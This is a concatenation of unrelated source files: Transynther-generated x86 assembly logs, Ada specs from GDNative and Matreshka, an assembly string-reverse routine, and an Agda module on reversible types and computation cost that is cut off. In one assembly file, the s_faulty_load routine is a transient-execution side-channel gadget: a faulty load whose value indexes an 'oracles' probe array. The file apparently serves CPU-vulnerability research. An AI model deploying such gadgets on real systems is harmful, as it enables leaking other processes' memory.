{'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 10}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_normal_ht', 'AVXalign': True, 'size': 32, 'NT': False, 'same': False, 'congruent': 2}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_normal_ht', 'congruent': 11, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 9, 'same': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': True, 'size': 8, 'NT': False, 'same': False, 'congruent': 1}}
{'src': {'type': 'addresses_A_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 7}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': True, 'size': 8, 'NT': False, 'same': False, 'congruent': 4}}
{'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 9}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 2}}
{'32': 21829}
32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32
*/
|
src/gdnative-console.ads | persan/gdnative_ada | 10 | 25968 | <gh_stars>1-10
package GDNative.Console is
---------
-- Put --
---------
procedure Put (Item : in Wide_String);
end; |
Transynther/x86/_processed/NONE/_zr_/i7-8650U_0xd2.log_9616_1742.asm | ljhsiun2/medusa | 9 | 240899 | <filename>Transynther/x86/_processed/NONE/_zr_/i7-8650U_0xd2.log_9616_1742.asm
.global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r15
push %r8
push %rax
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0xff64, %rsi
lea addresses_D_ht+0x18954, %rdi
nop
cmp %r15, %r15
mov $68, %rcx
rep movsq
nop
nop
cmp $51803, %rsi
lea addresses_WC_ht+0x47b4, %r13
add $62693, %rdi
mov $0x6162636465666768, %rax
movq %rax, (%r13)
nop
nop
cmp %rax, %rax
lea addresses_WT_ht+0x15634, %r15
and %r8, %r8
movw $0x6162, (%r15)
nop
nop
nop
nop
cmp %r15, %r15
lea addresses_D_ht+0x18b3c, %rcx
nop
nop
nop
nop
add %r8, %r8
movl $0x61626364, (%rcx)
nop
add %r15, %r15
lea addresses_WC_ht+0x18a34, %rcx
nop
nop
and %rdi, %rdi
mov $0x6162636465666768, %r13
movq %r13, %xmm6
movups %xmm6, (%rcx)
cmp %rsi, %rsi
lea addresses_WC_ht+0xed34, %rsi
lea addresses_UC_ht+0x7104, %rdi
nop
nop
nop
nop
nop
dec %r15
mov $76, %rcx
rep movsb
nop
nop
inc %rsi
lea addresses_normal_ht+0x3734, %rcx
nop
and $49658, %r13
movb (%rcx), %r8b
nop
nop
nop
xor %rdi, %rdi
lea addresses_WT_ht+0x16b, %r15
nop
nop
nop
cmp %r13, %r13
movb (%r15), %al
nop
nop
nop
xor $30535, %r8
lea addresses_A_ht+0x8eb4, %rsi
lea addresses_WT_ht+0x8a34, %rdi
clflush (%rdi)
nop
nop
cmp $5387, %r8
mov $43, %rcx
rep movsl
inc %rcx
lea addresses_WC_ht+0xd634, %rax
nop
nop
nop
sub $64097, %r13
movl $0x61626364, (%rax)
sub %r15, %r15
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r8
pop %r15
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r15
push %r9
push %rcx
push %rdi
push %rdx
push %rsi
// Store
lea addresses_D+0x1bd60, %r15
clflush (%r15)
nop
nop
nop
nop
dec %rdi
mov $0x5152535455565758, %rdx
movq %rdx, (%r15)
nop
nop
nop
nop
add %r15, %r15
// Faulty Load
lea addresses_A+0xf234, %rcx
nop
sub %rsi, %rsi
mov (%rcx), %r15
lea oracles, %r13
and $0xff, %r15
shlq $12, %r15
mov (%r13,%r15,1), %r15
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r9
pop %r15
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 5, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 8, 'AVXalign': False, 'NT': True, 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': True}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 3, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 11, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'00': 9616}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
source/amf/uml/amf-internals-uml_package_imports.ads | svn2github/matreshka | 24 | 14234 | <reponame>svn2github/matreshka
------------------------------------------------------------------------------
-- --
-- Matreshka Project --
-- --
-- Ada Modeling Framework --
-- --
-- Runtime Library Component --
-- --
------------------------------------------------------------------------------
-- --
-- Copyright © 2011-2012, <NAME> <<EMAIL>> --
-- All rights reserved. --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions --
-- are met: --
-- --
-- * Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- --
-- * Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in the --
-- documentation and/or other materials provided with the distribution. --
-- --
-- * Neither the name of the Vadim Godunko, IE nor the names of its --
-- contributors may be used to endorse or promote products derived from --
-- this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR --
-- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED --
-- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR --
-- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF --
-- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING --
-- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS --
-- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
-- $Revision$ $Date$
------------------------------------------------------------------------------
with AMF.Internals.UML_Elements;
with AMF.UML.Elements.Collections;
with AMF.UML.Namespaces;
with AMF.UML.Package_Imports;
with AMF.UML.Packages;
with AMF.Visitors;
package AMF.Internals.UML_Package_Imports is
type UML_Package_Import_Proxy is
limited new AMF.Internals.UML_Elements.UML_Element_Proxy
and AMF.UML.Package_Imports.UML_Package_Import with null record;
overriding function Get_Imported_Package
(Self : not null access constant UML_Package_Import_Proxy)
return AMF.UML.Packages.UML_Package_Access;
-- Getter of PackageImport::importedPackage.
--
-- Specifies the Package whose members are imported into a Namespace.
overriding procedure Set_Imported_Package
(Self : not null access UML_Package_Import_Proxy;
To : AMF.UML.Packages.UML_Package_Access);
-- Setter of PackageImport::importedPackage.
--
-- Specifies the Package whose members are imported into a Namespace.
overriding function Get_Importing_Namespace
(Self : not null access constant UML_Package_Import_Proxy)
return AMF.UML.Namespaces.UML_Namespace_Access;
-- Getter of PackageImport::importingNamespace.
--
-- Specifies the Namespace that imports the members from a Package.
overriding procedure Set_Importing_Namespace
(Self : not null access UML_Package_Import_Proxy;
To : AMF.UML.Namespaces.UML_Namespace_Access);
-- Setter of PackageImport::importingNamespace.
--
-- Specifies the Namespace that imports the members from a Package.
overriding function Get_Visibility
(Self : not null access constant UML_Package_Import_Proxy)
return AMF.UML.UML_Visibility_Kind;
-- Getter of PackageImport::visibility.
--
-- Specifies the visibility of the imported PackageableElements within the
-- importing Namespace, i.e., whether imported elements will in turn be
-- visible to other packages that use that importingPackage as an
-- importedPackage. If the PackageImport is public, the imported elements
-- will be visible outside the package, while if it is private they will
-- not.
overriding procedure Set_Visibility
(Self : not null access UML_Package_Import_Proxy;
To : AMF.UML.UML_Visibility_Kind);
-- Setter of PackageImport::visibility.
--
-- Specifies the visibility of the imported PackageableElements within the
-- importing Namespace, i.e., whether imported elements will in turn be
-- visible to other packages that use that importingPackage as an
-- importedPackage. If the PackageImport is public, the imported elements
-- will be visible outside the package, while if it is private they will
-- not.
overriding function Get_Source
(Self : not null access constant UML_Package_Import_Proxy)
return AMF.UML.Elements.Collections.Set_Of_UML_Element;
-- Getter of DirectedRelationship::source.
--
-- Specifies the sources of the DirectedRelationship.
overriding function Get_Target
(Self : not null access constant UML_Package_Import_Proxy)
return AMF.UML.Elements.Collections.Set_Of_UML_Element;
-- Getter of DirectedRelationship::target.
--
-- Specifies the targets of the DirectedRelationship.
overriding function Get_Related_Element
(Self : not null access constant UML_Package_Import_Proxy)
return AMF.UML.Elements.Collections.Set_Of_UML_Element;
-- Getter of Relationship::relatedElement.
--
-- Specifies the elements related by the Relationship.
overriding procedure Enter_Element
(Self : not null access constant UML_Package_Import_Proxy;
Visitor : in out AMF.Visitors.Abstract_Visitor'Class;
Control : in out AMF.Visitors.Traverse_Control);
-- Dispatch call to corresponding subprogram of visitor interface.
overriding procedure Leave_Element
(Self : not null access constant UML_Package_Import_Proxy;
Visitor : in out AMF.Visitors.Abstract_Visitor'Class;
Control : in out AMF.Visitors.Traverse_Control);
-- Dispatch call to corresponding subprogram of visitor interface.
overriding procedure Visit_Element
(Self : not null access constant UML_Package_Import_Proxy;
Iterator : in out AMF.Visitors.Abstract_Iterator'Class;
Visitor : in out AMF.Visitors.Abstract_Visitor'Class;
Control : in out AMF.Visitors.Traverse_Control);
-- Dispatch call to corresponding subprogram of iterator interface.
end AMF.Internals.UML_Package_Imports;
|
arch/lib/string/string_reverse.asm | Mosseridan/Compiler-Principles | 0 | 176970 | /* string_reverse.asm
* Takes a pointer to a null-terminated string,
* and reverses it in place.
*
* Programmer: <NAME>, 2010
*/
STRING_REVERSE:
MOV(R1, STARG(0));
PUSH(R1);
CALL(STRLEN);
POP(R2);
DECR(R0);
ADD(R0, STARG(0));
MOV(R1, STARG(0));
L_STRING_REVERSE_0:
CMP(R1, R0);
JUMP_GE(L_STRING_REVERSE_1);
MOV(R2, IND(R1));
MOV(IND(R1), IND(R0));
MOV(IND(R0), R2);
DECR(R0);
INCR(R1);
JUMP(L_STRING_REVERSE_0);
L_STRING_REVERSE_1:
MOV(R0, STARG(0));
RETURN;
|
TimeSpace.agda | JacquesCarette/pi-dual | 14 | 1105 |
module TimeSpace where
open import Prelude as P
hiding
( [_]
; id
; _∘_
; _***_
)
open import Container.List
open import Pi.Util
{-
A universe of finite types.
-}
data U : Set where
𝟘 𝟙 : U
_⊕_ _⊗_ : U → U → U
infixr 6 _⊕_
infixr 7 _⊗_
{-
A collection of "primitive" isomorphisms.
Selection was based on accepted definitions of categorical structures.
Monoidal categories have left and right unitors, and associators;
braided monoidal categories have commutators.
While the left/right unitor pairs might be considered redundant in light of the commutative morphism,
I decided to keep them. By matching the morphisms of relevant categorical structures, we can
examine the various categorical coherence laws for time/space tradeoffs. This isn't necessary,
but I want to test the effects of the change on the structure of the proofs.
-}
data _≅_ : U → U → Set where
-- Coproduct monoid
⊕λ : ∀ {A}
→ 𝟘 ⊕ A ≅ A
⊕ρ : ∀ {A}
→ A ⊕ 𝟘 ≅ A
⊕σ : ∀ {A B}
→ A ⊕ B ≅ B ⊕ A
⊕α : ∀ {A B C}
→ (A ⊕ B) ⊕ C ≅ A ⊕ (B ⊕ C)
-- Product monoid
⊗λ : ∀ {A}
→ 𝟙 ⊗ A ≅ A
⊗ρ : ∀ {A}
→ A ⊗ 𝟙 ≅ A
⊗σ : ∀ {A B}
→ A ⊗ B ≅ B ⊗ A
⊗α : ∀ {A B C}
→ (A ⊗ B) ⊗ C ≅ A ⊗ (B ⊗ C)
-- Distributivity
δ : ∀ {A B C}
→ A ⊗ (B ⊕ C) ≅ (A ⊗ B) ⊕ (A ⊗ C)
infix 1 _≅_
{- Naming conventions:
*λ : left unitor : ε ∙ x ≅ x
*ρ : right unitor : x ∙ ε ≅ x
*α : associator : (x ∙ y) ∙ z ≅ x ∙ (y ∙ z)
*σ : braid : x ∙ y ≅ y ∙ x
⊗* : multiplicative variant, (𝟙 , ⊗)
⊕* : additive variant, (𝟘 , ⊕)
δ : distributor : x ⊗ (y ⊕ z) ≅ (x ⊗ y) ⊕ (x ⊗ z)
-}
infixr 5 _∘_
infix 1 _⟷_
data _⟷_ : U → U → Set where
[_] : ∀ {A B}
→ A ≅ B
→ A ⟷ B
id : ∀ {A}
→ A ⟷ A
_⁻¹ : ∀ {A B}
→ A ⟷ B
→ B ⟷ A
_∘_ : ∀ {A B C}
→ B ⟷ C
→ A ⟷ B
→ A ⟷ C
_⊗_ : ∀ {A B C D}
→ A ⟷ B
→ C ⟷ D
→ A ⊗ C ⟷ B ⊗ D
_⊕_ : ∀ {A B C D}
→ A ⟷ B
→ C ⟷ D
→ A ⊕ C ⟷ B ⊕ D
El : U → Set
El 𝟘 = ⊥
El 𝟙 = ⊤
El (A ⊕ B) = Either (El A) (El B)
El (A ⊗ B) = El A × El B
{-
bwd/fwd relate to the unitary morphisms,
while ap/ap⁻¹ relate to arbitrary morphisms.
-}
fwd : ∀ {A B}
→ A ≅ B
→ El A → El B
bwd : ∀ {A B}
→ A ≅ B
→ El B → El A
fwd ⊕λ (left ())
fwd ⊕λ (right x) = x
fwd ⊕ρ (left x) = x
fwd ⊕ρ (right ())
fwd ⊕σ (left x) = right x
fwd ⊕σ (right x) = left x
fwd ⊕α (left (left x)) = left x
fwd ⊕α (left (right x)) = right (left x)
fwd ⊕α (right x) = right (right x)
fwd ⊗λ (tt , x) = x
fwd ⊗ρ (x , tt) = x
fwd ⊗σ (x , y) = y , x
fwd ⊗α ((x , y) , z) = x , y , z
fwd δ (x , left y) = left (x , y)
fwd δ (x , right y) = right (x , y)
bwd ⊕λ x = right x
bwd ⊕ρ x = left x
bwd ⊕σ (left x) = right x
bwd ⊕σ (right x) = left x
bwd ⊕α (left x) = left (left x)
bwd ⊕α (right (left x)) = left (right x)
bwd ⊕α (right (right x)) = right x
bwd ⊗λ x = tt , x
bwd ⊗ρ x = x , tt
bwd ⊗σ (x , y) = y , x
bwd ⊗α (x , y , z) = (x , y) , z
bwd δ (left (x , y)) = x , left y
bwd δ (right (x , y)) = x , right y
fwd-bwd : ∀ {A B}
→ (f : A ≅ B)
→ bwd f P.∘ fwd f ≃ P.id
fwd-bwd ⊕λ (left ())
fwd-bwd ⊕λ (right x) = P.refl
fwd-bwd ⊕ρ (left x) = P.refl
fwd-bwd ⊕ρ (right ())
fwd-bwd ⊕σ (left x) = P.refl
fwd-bwd ⊕σ (right x) = P.refl
fwd-bwd ⊕α (left (left x)) = P.refl
fwd-bwd ⊕α (left (right x)) = P.refl
fwd-bwd ⊕α (right x) = P.refl
fwd-bwd ⊗λ (tt , x) = P.refl
fwd-bwd ⊗ρ (x , tt) = P.refl
fwd-bwd ⊗σ (x , y) = P.refl
fwd-bwd ⊗α ((x , y) , z) = P.refl
fwd-bwd δ (x , left y) = P.refl
fwd-bwd δ (x , right y) = P.refl
bwd-fwd : ∀ {A B}
→ (f : A ≅ B)
→ fwd f P.∘ bwd f ≃ P.id
bwd-fwd ⊕λ x = P.refl
bwd-fwd ⊕ρ x = P.refl
bwd-fwd ⊕σ (left x) = P.refl
bwd-fwd ⊕σ (right x) = P.refl
bwd-fwd ⊕α (left x) = P.refl
bwd-fwd ⊕α (right (left x)) = P.refl
bwd-fwd ⊕α (right (right x)) = P.refl
bwd-fwd ⊗λ x = P.refl
bwd-fwd ⊗ρ x = P.refl
bwd-fwd ⊗σ (x , y) = P.refl
bwd-fwd ⊗α (x , y , z) = P.refl
bwd-fwd δ (left (x , y)) = P.refl
bwd-fwd δ (right (x , y)) = P.refl
infixr 1 ap ap⁻¹
ap : ∀ {A B}
→ A ⟷ B
→ El A → El B
ap⁻¹ : ∀ {A B}
→ A ⟷ B
→ El B → El A
ap [ f ] = fwd f
ap id = P.id
ap (f ⁻¹) = ap⁻¹ f
ap (g ∘ f) = ap g P.∘ ap f
ap (f ⊗ g) = ap f *** ap g
ap (f ⊕ g) = ap f +++ ap g
ap⁻¹ [ f ] = bwd f
ap⁻¹ id = P.id
ap⁻¹ (f ⁻¹) = ap f
ap⁻¹ (g ∘ f) = ap⁻¹ f P.∘ ap⁻¹ g
ap⁻¹ (f ⊗ g) = ap⁻¹ f *** ap⁻¹ g
ap⁻¹ (f ⊕ g) = ap⁻¹ f +++ ap⁻¹ g
ap-inv : ∀ {A B}
→ (f : A ⟷ B)
→ ap⁻¹ f P.∘ ap f ≃ P.id
inv-ap : ∀ {A B}
→ (f : A ⟷ B)
→ ap f P.∘ ap⁻¹ f ≃ P.id
ap-inv [ f ] x = fwd-bwd f x
ap-inv id x = P.refl
ap-inv (f ⁻¹) x = inv-ap f x
ap-inv (g ∘ f) x =
ap⁻¹ f $≡ ap-inv g (ap f x)
⟨≡⟩ ap-inv f x
ap-inv (f ⊗ g) (x , y) = cong₂ _,_ (ap-inv f x) (ap-inv g y)
ap-inv (f ⊕ g) (left x) = left $≡ ap-inv f x
ap-inv (f ⊕ g) (right x) = right $≡ ap-inv g x
inv-ap [ f ] x = bwd-fwd f x
inv-ap id x = P.refl
inv-ap (f ⁻¹) x = ap-inv f x
inv-ap (g ∘ f) x =
ap g $≡ inv-ap f (ap⁻¹ g x)
⟨≡⟩ inv-ap g x
inv-ap (f ⊗ g) (x , y) = cong₂ _,_ (inv-ap f x) (inv-ap g y)
inv-ap (f ⊕ g) (left x) = left $≡ inv-ap f x
inv-ap (f ⊕ g) (right x) = right $≡ inv-ap g x
syntax fwd f x = f ♯ x
syntax bwd f x = f ♭ x
syntax ap f x = f ▸ x
syntax ap⁻¹ f x = f ◂ x
{-
The size of a type A is a natural number equal to the lub to any element of A.
We can also measure the size of an individual element of A, which may differ
for elements when there are sums present in A.
-}
size : U → Nat
size 𝟘 = 0
size 𝟙 = 1
size (A ⊕ B) = max (size A) (size B)
size (A ⊗ B) = size A + size B
sizeEl : ∀ A → El A → Nat
sizeEl 𝟘 ()
sizeEl 𝟙 tt = 1
sizeEl (A ⊕ B) (left x) = sizeEl A x
sizeEl (A ⊕ B) (right x) = sizeEl B x
sizeEl (A ⊗ B) (x , y) = sizeEl A x + sizeEl B y
{-
`path-length` calculates the total number of computation steps required,
according to a given valuation of the primitive isomorphisms. (see _≅_ type defn)
For any (f : A ⟷ B), the number of steps taken to transform an (x : El A) to (ap f x : El B)
depends on the value of `x`, due to the difference in steps between the two possible cases
of `path-length (f ⊕ g)`.
-}
module _ (t : ∀ {A B} → A ≅ B → El A → Nat) where
path-length : ∀ {A B} → A ⟷ B → El A → Nat
--| in the primitive case, we use the supplied valuation.
path-length [ f ] = t f
--| `id` has unit length. Although it does no work, an abstract machine processing
-- the morphism (f ∘ id) might still need to decompose the task into processing `f`,
-- and processing `id`.
path-length id _ = 1
--| the inverse of a morphism f takes the same number of steps to compute
-- as does f.
path-length (f ⁻¹) x = path-length f (ap⁻¹ f x)
--| composition is sequential, and so time is added.
path-length (g ∘ f) x = path-length f x + path-length g (ap f x)
--| the product tensor runs two processes in parallel, and so takes
-- the max time of the individual processes.
path-length (f ⊗ g) (x , y) = max (path-length f x) (path-length g y)
--| The coproduct tensor of two processes may take different amounts of
-- time to run, depending on from which side of the disjoint union
-- a particular input element is drawn.
path-length (f ⊕ g) (left x) = path-length f x
path-length (f ⊕ g) (right x) = path-length g x
{-
`circuit-length` is an upper bound of `path-length`, across all possible (x : El A).
Consequently, it is independent of any particular element (x : El A).
Here, a circuit is a spatial layout of a program in two dimensions, the "width" representing
"size", or memory usage, or storage requirements of a program, and the "length" representing
the stage of execution of the program.
-}
module _ (t : ∀ {A B} → A ≅ B → Nat) where
